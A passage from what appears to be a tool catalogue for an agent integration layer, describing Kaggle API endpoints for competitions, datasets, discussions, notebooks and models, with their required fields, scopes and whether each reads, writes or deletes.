/competitions.CompetitionApiService/DeleteCompetitionPage. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/DeleteCompetitionPage. Scopes: api. kaggle_post_competitions_competitionapiservice_downloaddatafile (read) — Download data file. Kaggle Competitions: POST /competitions.CompetitionApiService/DownloadDataFile. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`, `fileName`. POST /api/v1/kaggle/competitions.CompetitionApiService/DownloadDataFile. Scopes: api. kaggle_post_competitions_competitionapiservice_downloaddatafiles (read) — Download data files. Kaggle Competitions: POST /competitions.CompetitionApiService/DownloadDataFiles. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/DownloadDataFiles. Scopes: api. kaggle_post_competitions_competitionapiservice_downloadsubmission (read) — Download submission. Kaggle Competitions: POST /competitions.CompetitionApiService/DownloadSubmission. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/DownloadSubmission. Scopes: api. kaggle_post_competitions_competitionapiservice_getcompetition (read) — Get competition. Kaggle Competitions: POST /competitions.CompetitionApiService/GetCompetition. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/GetCompetition. Scopes: api. kaggle_post_competitions_competitionapiservice_getcompetitiondatafilessummary (read) — Get competition data files summary. Kaggle Competitions: POST /competitions.CompetitionApiService/GetCompetitionDataFilesSummary. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/GetCompetitionDataFilesSummary. Scopes: api. kaggle_post_competitions_competitionapiservice_getcompetitionsettings (read) — Get competition settings. Kaggle Competitions: POST /competitions.CompetitionApiService/GetCompetitionSettings. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/GetCompetitionSettings. Scopes: api. kaggle_post_competitions_competitionapiservice_getcompetitionsolutionstatus (read) — Get competition solution status. Kaggle Competitions: POST /competitions.CompetitionApiService/GetCompetitionSolutionStatus. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/GetCompetitionSolutionStatus. Scopes: api. kaggle_post_competitions_competitionapiservice_getleaderboard (read) — Get leaderboard. Kaggle Competitions: POST /competitions.CompetitionApiService/GetLeaderboard. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/GetLeaderboard. Scopes: api. kaggle_post_competitions_competitionapiservice_getsubmission (read) — Get submission. Kaggle Competitions: POST /competitions.CompetitionApiService/GetSubmission. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/GetSubmission. Scopes: api. kaggle_post_competitions_competitionapiservice_getsubmissionlimits (read) — Get submission limits. Kaggle Competitions: POST /competitions.CompetitionApiService/GetSubmissionLimits. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/GetSubmissionLimits. Scopes: api. kaggle_post_competitions_competitionapiservice_launchcompetition (write) — Launch competition. Kaggle Competitions: POST /competitions.CompetitionApiService/LaunchCompetition. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/LaunchCompetition. Scopes: api. kaggle_post_competitions_competitionapiservice_listcompetitionhosts (read) — List competition hosts. Kaggle Competitions: POST /competitions.CompetitionApiService/ListCompetitionHosts. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListCompetitionHosts. Scopes: api. kaggle_post_competitions_competitionapiservice_listcompetitionjudges (read) — List competition judges. Kaggle Competitions: POST /competitions.CompetitionApiService/ListCompetitionJudges. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListCompetitionJudges. Scopes: api. kaggle_post_competitions_competitionapiservice_listcompetitionpages (read) — List competition pages. Kaggle Competitions: POST /competitions.CompetitionApiService/ListCompetitionPages. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListCompetitionPages. Scopes: api. kaggle_post_competitions_competitionapiservice_listcompetitions (read) — List competitions. Kaggle Competitions: POST /competitions.CompetitionApiService/ListCompetitions. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/competitions.CompetitionApiService/ListCompetitions. Scopes: api. kaggle_post_competitions_competitionapiservice_listcompetitiontopics (read) — List competition topics. Kaggle Competitions: POST /competitions.CompetitionApiService/ListCompetitionTopics. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListCompetitionTopics. Scopes: api. kaggle_post_competitions_competitionapiservice_listdatafiles (read) — List data files. Kaggle Competitions: POST /competitions.CompetitionApiService/ListDataFiles. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListDataFiles. Scopes: api. kaggle_post_competitions_competitionapiservice_listdatatreefiles (read) — List data tree files. Kaggle Competitions: POST /competitions.CompetitionApiService/ListDataTreeFiles. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListDataTreeFiles. Scopes: api. kaggle_post_competitions_competitionapiservice_listsubmissionepisodes (read) — List submission episodes. Kaggle Competitions: POST /competitions.CompetitionApiService/ListSubmissionEpisodes. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `submissionId`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListSubmissionEpisodes. Scopes: api. kaggle_post_competitions_competitionapiservice_listsubmissions (read) — List submissions. Kaggle Competitions: POST /competitions.CompetitionApiService/ListSubmissions. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListSubmissions. Scopes: api. kaggle_post_competitions_competitionapiservice_listteampublicsubmissions (read) — List team public submissions. Kaggle Competitions: POST /competitions.CompetitionApiService/ListTeamPublicSubmissions. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `teamId`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListTeamPublicSubmissions. Scopes: api. kaggle_post_competitions_competitionapiservice_listtopicmessages (read) — List topic messages. Kaggle Competitions: POST /competitions.CompetitionApiService/ListTopicMessages. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`, `topicId`. POST /api/v1/kaggle/competitions.CompetitionApiService/ListTopicMessages. Scopes: api. kaggle_post_competitions_competitionapiservice_startsubmissionupload (write) — Start submission upload. Kaggle Competitions: POST /competitions.CompetitionApiService/StartSubmissionUpload. Returns a signed upload URL and token; the file bytes must be PUT to that URL outside Agentic Fabriq, since no tool call can carry them. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/StartSubmissionUpload. Scopes: api. kaggle_post_competitions_competitionapiservice_updatecompetitionpage (write) — Update competition page. Kaggle Competitions: POST /competitions.CompetitionApiService/UpdateCompetitionPage. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`, `page`. POST /api/v1/kaggle/competitions.CompetitionApiService/UpdateCompetitionPage. Scopes: api. kaggle_post_competitions_competitionapiservice_updatecompetitionsettings (write) — Update competition settings. Kaggle Competitions: POST /competitions.CompetitionApiService/UpdateCompetitionSettings. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.CompetitionApiService/UpdateCompetitionSettings. Scopes: api. kaggle_post_competitions_hackathonapiservice_exporthackathonwriteupscsv (read) — Export hackathon write-ups as CSV. Kaggle Hackathons: POST /competitions.HackathonApiService/ExportHackathonWriteUpsCsv. Exports a CSV with the data from all submitted writeups after the hackathon has closed. Returns plain CSV text for use by AI agents via MCP. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. `body` must include `competitionName` or `competitionId`. POST /api/v1/kaggle/competitions.HackathonApiService/ExportHackathonWriteUpsCsv. Scopes: api. kaggle_post_competitions_hackathonapiservice_gethackathonoverview (read) — Get hackathon overview. Kaggle Hackathons: POST /competitions.HackathonApiService/GetHackathonOverview. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.HackathonApiService/GetHackathonOverview. Scopes: api. kaggle_post_competitions_hackathonapiservice_gethackathonwriteup (read) — Get hackathon write-up. Kaggle Hackathons: POST /competitions.HackathonApiService/GetHackathonWriteUp. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.HackathonApiService/GetHackathonWriteUp. Scopes: api. kaggle_post_competitions_hackathonapiservice_listhackathontracks (read) — List hackathon tracks. Kaggle Hackathons: POST /competitions.HackathonApiService/ListHackathonTracks. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.HackathonApiService/ListHackathonTracks. Scopes: api. kaggle_post_competitions_hackathonapiservice_listhackathonwriteups (read) — List hackathon write-ups. Kaggle Hackathons: POST /competitions.HackathonApiService/ListHackathonWriteUps. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `competitionName`. POST /api/v1/kaggle/competitions.HackathonApiService/ListHackathonWriteUps. Scopes: api. kaggle_post_competitions_hackathonservice_exportenrichedhackathonwriteupscsv (read) — Export enriched hackathon write-ups as CSV. Kaggle Hackathons: POST /competitions.HackathonService/ExportEnrichedHackathonWriteUpsCsv. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. WITHHELD: api.kaggle.com does not route this RPC (it answers 404 with Kaggle's HTML home page to a real token), so this call is refused before any request is made. POST /api/v1/kaggle/competitions.HackathonService/ExportEnrichedHackathonWriteUpsCsv. Scopes: api. kaggle_post_datasets_datasetapiservice_createdataset (write) — Create dataset. Kaggle Datasets: POST /datasets.DatasetApiService/CreateDataset. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/CreateDataset. Scopes: api. kaggle_post_datasets_datasetapiservice_createdatasetversion (write) — Create dataset version. Kaggle Datasets: POST /datasets.DatasetApiService/CreateDatasetVersion. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/CreateDatasetVersion. Scopes: api. kaggle_post_datasets_datasetapiservice_createdatasetversionbyid (write) — Create dataset version by id. Kaggle Datasets: POST /datasets.DatasetApiService/CreateDatasetVersionById. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/CreateDatasetVersionById. Scopes: api. kaggle_post_datasets_datasetapiservice_deletedataset (write, destructive) — Delete dataset. Kaggle Datasets: POST /datasets.DatasetApiService/DeleteDataset. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/DeleteDataset. Scopes: api. kaggle_post_datasets_datasetapiservice_downloaddataset (read) — Download dataset. Kaggle Datasets: POST /datasets.DatasetApiService/DownloadDataset. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/DownloadDataset. Scopes: api. kaggle_post_datasets_datasetapiservice_downloaddatasetraw (read) — Download dataset raw. Kaggle Datasets: POST /datasets.DatasetApiService/DownloadDatasetRaw. Get a download link for one raw dataset file. Kaggle notes this method has very low usage; DownloadDataset with raw set is equivalent. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/DownloadDatasetRaw. Scopes: api. kaggle_post_datasets_datasetapiservice_getdataset (read) — Get dataset. Kaggle Datasets: POST /datasets.DatasetApiService/GetDataset. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/GetDataset. Scopes: api. kaggle_post_datasets_datasetapiservice_getdatasetfilessummary (read) — Get dataset files summary. Kaggle Datasets: POST /datasets.DatasetApiService/GetDatasetFilesSummary. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/GetDatasetFilesSummary. Scopes: api. kaggle_post_datasets_datasetapiservice_getdatasetmetadata (read) — Get dataset metadata. Kaggle Datasets: POST /datasets.DatasetApiService/GetDatasetMetadata. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/GetDatasetMetadata. Scopes: api. kaggle_post_datasets_datasetapiservice_getdatasetstatus (read) — Get dataset status. Kaggle Datasets: POST /datasets.DatasetApiService/GetDatasetStatus. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/GetDatasetStatus. Scopes: api. kaggle_post_datasets_datasetapiservice_listdatasetfiles (read) — List dataset files. Kaggle Datasets: POST /datasets.DatasetApiService/ListDatasetFiles. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/ListDatasetFiles. Scopes: api. kaggle_post_datasets_datasetapiservice_listdatasets (read) — List datasets. Kaggle Datasets: POST /datasets.DatasetApiService/ListDatasets. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/ListDatasets. Scopes: api. kaggle_post_datasets_datasetapiservice_listtreedatasetfiles (read) — List tree dataset files. Kaggle Datasets: POST /datasets.DatasetApiService/ListTreeDatasetFiles. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/datasets.DatasetApiService/ListTreeDatasetFiles. Scopes: api. kaggle_post_datasets_datasetapiservice_updatedatasetmetadata (write) — Update dataset metadata. Kaggle Datasets: POST /datasets.DatasetApiService/UpdateDatasetMetadata. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/UpdateDatasetMetadata. Scopes: api. kaggle_post_datasets_datasetapiservice_uploaddatasetfile (write) — Upload dataset file. Kaggle Datasets: POST /datasets.DatasetApiService/UploadDatasetFile. Deprecated. Use the new unified BlobApiService#StartBlobUpload rpc. Returns a signed upload URL and token; the file bytes must be PUT to that URL outside Agentic Fabriq, since no tool call can carry them. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/datasets.DatasetApiService/UploadDatasetFile. Scopes: api. kaggle_post_discussions_discussionapiservice_gettopic (read) — Get topic. Kaggle Discussions: POST /discussions.DiscussionApiService/GetTopic. Get a single discussion topic by ID. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `id`. POST /api/v1/kaggle/discussions.DiscussionApiService/GetTopic. Scopes: api. kaggle_post_discussions_discussionapiservice_listbenchmarktopics (read) — List benchmark topics. Kaggle Discussions: POST /discussions.DiscussionApiService/ListBenchmarkTopics. List discussion topics for a benchmark. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `benchmarkSlug`. POST /api/v1/kaggle/discussions.DiscussionApiService/ListBenchmarkTopics. Scopes: api. kaggle_post_discussions_discussionapiservice_listcomments (read) — List comments. Kaggle Discussions: POST /discussions.DiscussionApiService/ListComments. List comments for a discussion topic, with pagination. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `topicId`. POST /api/v1/kaggle/discussions.DiscussionApiService/ListComments. Scopes: api. kaggle_post_discussions_discussionapiservice_listdatasettopics (read) — List dataset topics. Kaggle Discussions: POST /discussions.DiscussionApiService/ListDatasetTopics. List discussion topics for a dataset. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `datasetSlug`. POST /api/v1/kaggle/discussions.DiscussionApiService/ListDatasetTopics. Scopes: api. kaggle_post_discussions_discussionapiservice_listforums (read) — List forums. Kaggle Discussions: POST /discussions.DiscussionApiService/ListForums. List all top-level discussion forums on Kaggle. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/discussions.DiscussionApiService/ListForums. Scopes: api. kaggle_post_discussions_discussionapiservice_listkerneltopics (read) — List notebook discussion topics. Kaggle Discussions: POST /discussions.DiscussionApiService/ListKernelTopics. List discussion topics for a kernel. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `kernelSlug`. POST /api/v1/kaggle/discussions.DiscussionApiService/ListKernelTopics. Scopes: api. kaggle_post_discussions_discussionapiservice_listmodeltopics (read) — List model topics. Kaggle Discussions: POST /discussions.DiscussionApiService/ListModelTopics. List discussion topics for a model. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/discussions.DiscussionApiService/ListModelTopics. Scopes: api. kaggle_post_discussions_discussionapiservice_listtopics (read) — List topics. Kaggle Discussions: POST /discussions.DiscussionApiService/ListTopics. List and search discussion topics, optionally filtered by forum. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/discussions.DiscussionApiService/ListTopics. Scopes: api. kaggle_post_discussions_writeupsapiservice_getresolvedwriteuplinks (read) — Get resolved write-up links. Kaggle Write-ups: POST /discussions.WriteUpsApiService/GetResolvedWriteUpLinks. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `writeUpId`. POST /api/v1/kaggle/discussions.WriteUpsApiService/GetResolvedWriteUpLinks. Scopes: api. kaggle_post_education_educationapiservice_trackexerciseinteraction (write) — Track exercise interaction. Kaggle Kaggle Learn: POST /education.EducationApiService/TrackExerciseInteraction. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/education.EducationApiService/TrackExerciseInteraction. Scopes: api. kaggle_post_kernels_kernelsapiservice_cancelkernelsession (write) — Cancel notebook session. Kaggle Notebooks: POST /kernels.KernelsApiService/CancelKernelSession. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/kernels.KernelsApiService/CancelKernelSession. Scopes: api. kaggle_post_kernels_kernelsapiservice_createkernelsession (write) — Create notebook session. Kaggle Notebooks: POST /kernels.KernelsApiService/CreateKernelSession. Starts compute that draws on the account's quota. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `slug`. POST /api/v1/kaggle/kernels.KernelsApiService/CreateKernelSession. Scopes: api. kaggle_post_kernels_kernelsapiservice_deletekernel (write, destructive) — Delete notebook. Kaggle Notebooks: POST /kernels.KernelsApiService/DeleteKernel. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/kernels.KernelsApiService/DeleteKernel. Scopes: api. kaggle_post_kernels_kernelsapiservice_downloadkerneloutput (read) — Download notebook output file. Kaggle Notebooks: POST /kernels.KernelsApiService/DownloadKernelOutput. Get a download link for one output file of a notebook version. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `kernelSlug`. POST /api/v1/kaggle/kernels.KernelsApiService/DownloadKernelOutput. Scopes: api. kaggle_post_kernels_kernelsapiservice_getacceleratorquotastatistics (read) — Get GPU and TPU quota. Kaggle Notebooks: POST /kernels.KernelsApiService/GetAcceleratorQuotaStatistics. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/kernels.KernelsApiService/GetAcceleratorQuotaStatistics. Scopes: api. kaggle_post_kernels_kernelsapiservice_getkernel (read) — Get (pull) notebook. Kaggle Notebooks: POST /kernels.KernelsApiService/GetKernel. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `userName`, `kernelSlug`. POST /api/v1/kaggle/kernels.KernelsApiService/GetKernel. Scopes: api. kaggle_post_kernels_kernelsapiservice_getkernelsessionstatus (read) — Get notebook session status. Kaggle Notebooks: POST /kernels.KernelsApiService/GetKernelSessionStatus. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `userName`, `kernelSlug`. POST /api/v1/kaggle/kernels.KernelsApiService/GetKernelSessionStatus. Scopes: api. kaggle_post_kernels_kernelsapiservice_listkernelfiles (read) — List notebook files. Kaggle Notebooks: POST /kernels.KernelsApiService/ListKernelFiles. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `userName`, `kernelSlug`. POST /api/v1/kaggle/kernels.KernelsApiService/ListKernelFiles. Scopes: api. kaggle_post_kernels_kernelsapiservice_listkernels (read) — List notebooks. Kaggle Notebooks: POST /kernels.KernelsApiService/ListKernels. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/kernels.KernelsApiService/ListKernels. Scopes: api. kaggle_post_kernels_kernelsapiservice_listkernelsessionoutput (read) — List notebook session output. Kaggle Notebooks: POST /kernels.KernelsApiService/ListKernelSessionOutput. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `userName`, `kernelSlug`. POST /api/v1/kaggle/kernels.KernelsApiService/ListKernelSessionOutput. Scopes: api. kaggle_post_kernels_kernelsapiservice_savekernel (write) — Save (push) notebook. Kaggle Notebooks: POST /kernels.KernelsApiService/SaveKernel. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/kernels.KernelsApiService/SaveKernel. Scopes: api. kaggle_post_models_modelapiservice_createmodel (write) — Create model. Kaggle Models: POST /models.ModelApiService/CreateModel. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/models.ModelApiService/CreateModel. Scopes: api. kaggle_post_models_modelapiservice_createmodelinstance (write) — Create model instance. Kaggle Models: POST /models.ModelApiService/CreateModelInstance. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `body`. POST /api/v1/kaggle/models.ModelApiService/CreateModelInstance. Scopes: api. kaggle_post_models_modelapiservice_createmodelinstanceversion (write) — Create model instance version. Kaggle Models: POST /models.ModelApiService/CreateModelInstanceVersion. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `body`. POST /api/v1/kaggle/models.ModelApiService/CreateModelInstanceVersion. Scopes: api. kaggle_post_models_modelapiservice_deletemodel (write, destructive) — Delete model. Kaggle Models: POST /models.ModelApiService/DeleteModel. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/DeleteModel. Scopes: api. kaggle_post_models_modelapiservice_deletemodelinstance (write, destructive) — Delete model instance. Kaggle Models: POST /models.ModelApiService/DeleteModelInstance. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`, `framework`, `instanceSlug`. POST /api/v1/kaggle/models.ModelApiService/DeleteModelInstance. Scopes: api. kaggle_post_models_modelapiservice_deletemodelinstanceversion (write, destructive) — Delete model instance version. Kaggle Models: POST /models.ModelApiService/DeleteModelInstanceVersion. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`, `framework`, `instanceSlug`, `versionNumber`. POST /api/v1/kaggle/models.ModelApiService/DeleteModelInstanceVersion. Scopes: api. kaggle_post_models_modelapiservice_downloadmodelinstanceversion (read) — Download model instance version. Kaggle Models: POST /models.ModelApiService/DownloadModelInstanceVersion. Returns download_url, the short-lived signed Google Cloud Storage link Kaggle answers with (HTTP 302). The file itself is not fetched. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`, `framework`, `instanceSlug`, `versionNumber`. POST /api/v1/kaggle/models.ModelApiService/DownloadModelInstanceVersion. Scopes: api. kaggle_post_models_modelapiservice_getmodel (read) — Get model. Kaggle Models: POST /models.ModelApiService/GetModel. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/GetModel. Scopes: api. kaggle_post_models_modelapiservice_getmodelinstance (read) — Get model instance. Kaggle Models: POST /models.ModelApiService/GetModelInstance. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`, `framework`, `instanceSlug`. POST /api/v1/kaggle/models.ModelApiService/GetModelInstance. Scopes: api. kaggle_post_models_modelapiservice_keys (read) — Get model-signing JWKS keys. Kaggle Models: POST /models.ModelApiService/Keys. The JWKS endpoint containing the keys to validate the signature of a kaggle issued signing identity token. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/models.ModelApiService/Keys. Scopes: api. kaggle_post_models_modelapiservice_listmodelgatinguserconsents (read) — List model gating user consents. Kaggle Models: POST /models.ModelApiService/ListModelGatingUserConsents. List the user consents for a gated model, under the model's current active agreement. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/ListModelGatingUserConsents. Scopes: api. kaggle_post_models_modelapiservice_listmodelinstances (read) — List model instances. Kaggle Models: POST /models.ModelApiService/ListModelInstances. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/ListModelInstances. Scopes: api. kaggle_post_models_modelapiservice_listmodelinstanceversionfiles (read) — List model instance version files. Kaggle Models: POST /models.ModelApiService/ListModelInstanceVersionFiles. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`, `framework`, `instanceSlug`, `versionNumber`. POST /api/v1/kaggle/models.ModelApiService/ListModelInstanceVersionFiles. Scopes: api. kaggle_post_models_modelapiservice_listmodelinstanceversions (read) — List model instance versions. Kaggle Models: POST /models.ModelApiService/ListModelInstanceVersions. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/ListModelInstanceVersions. Scopes: api. kaggle_post_models_modelapiservice_listmodels (read) — List models. Kaggle Models: POST /models.ModelApiService/ListModels. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/models.ModelApiService/ListModels. Scopes: api. kaggle_post_models_modelapiservice_reviewmodelgatinguserconsent (write) — Review model gating user consent. Kaggle Models: POST /models.ModelApiService/ReviewModelGatingUserConsent. Review the user consents for a gated model, under the model's current active agreement. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/ReviewModelGatingUserConsent. Scopes: api. kaggle_post_models_modelapiservice_updatemodel (write) — Update model. Kaggle Models: POST /models.ModelApiService/UpdateModel. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`. POST /api/v1/kaggle/models.ModelApiService/UpdateModel. Scopes: api. kaggle_post_models_modelapiservice_updatemodelinstance (write) — Update model instance. Kaggle Models: POST /models.ModelApiService/UpdateModelInstance. Kaggle is a public community site: what this creates or publishes can be visible to everyone unless the request marks it private. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `ownerSlug`, `modelSlug`, `framework`, `instanceSlug`, `licenseName`. POST 